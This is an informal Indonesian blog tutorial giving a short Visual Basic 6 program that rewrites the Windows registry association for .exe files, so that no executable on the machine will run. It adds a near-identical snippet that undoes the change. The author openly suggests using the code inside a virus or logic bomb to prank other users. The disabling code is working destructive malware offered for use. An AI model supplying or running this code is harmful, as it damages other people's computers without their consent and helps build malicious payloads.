3 Baris Pelumpuh File Executable

Buat Programnya

Dikarenakan codenya sangat pendek, saya tidak mau repot – repot menampilkan interface program, karena hanya terdiri dari beberapa baris code dan 1 command button. Udah sekarang kamu buka celana dalam kamu (emang mau gituan apa?), eh Ms Vibi kamu dan tambahkan sebuah “Commad Button” pada “Form” dengan property default.
Coding proram seperti berikut :

--------------------------------------------------- Begin -------------------------------------------------
Private Sub Command1_Click()
Dim Mei As Object
Set Mei = CreateObject("wscript.shell")
Mei.RegWrite "HKCR\.exe\", "exefiles", "REG_SZ"
MsgBox “File Executable Dilumpuhkan”, vbInformation, “Informasi”
End Sub
--------------------------------------------------- End Code ----------------------------------------------

Hayo, hitung berapa baris yang kita ketikan pada code di Atas, normalnya adalah 3 baris. Kamu bisa mengganti kata "exefiles" sesuka hati kamu asalkan bukan kata "exefile", atau kamu tetap membiarkan kata "exefiles" tersebut.
Buktikan !!
Untuk membuktikan efek yang terjadi dari code di atas, coba jalankan program Vb yang dibuat di atas, dan klik tombol “Command 1”, and then …………………………..
Sekarang kamu jalankan program / file executable yang ada di komputer kamu, hmm..hmmmm…., apa yang terjadi hasilnya adalah seperti ini di komputer saya (versi Indo):

Implementasi !!
Implementasi dari code di atas, bisa ditambahkan pada manipulasi virus/logic bomb/apa aja dech untuk menjaili User lain atau bahkan untuk menolong user lain. Dah itu terserah kamu kalo masalah implementasi . . Key
Pemulihan !!
Karena saya tidak mau lepas dari tanggung jawab atas perbuatan bejat yang saya lakukan, :P :P, ada beberapa cara untuk memulihkan kekacauan yan diakibatkan code diatas. Buatlah program yan code dan interfacenya sama persis pada code diatas, hanya berbeda satu karakter saja, teliti dengan seksama code pemulih berikut :
 

--------------------------------------------------- Begin -------------------------------------------------

Private Sub Command2_Click()
Dim Mei As Object
Set Mei = CreateObject("wscript.shell")
Mei.RegWrite "HKCR\.exe\", "exefile", "REG_SZ" ‘disini letak bedanya

MsgBox “File Executable Dipulihkan”, vbInformation, “Informasi”
End Sub
--------------------------------------------------- End Code ----------------------------------------------

Ending
Semoga berguna !!! dan maaf jika saya tidak tulis konsep awalnya, karena sebenarnya konsep dari artikel diatas adalah Asosiasi file.

Salam Maniz...!!!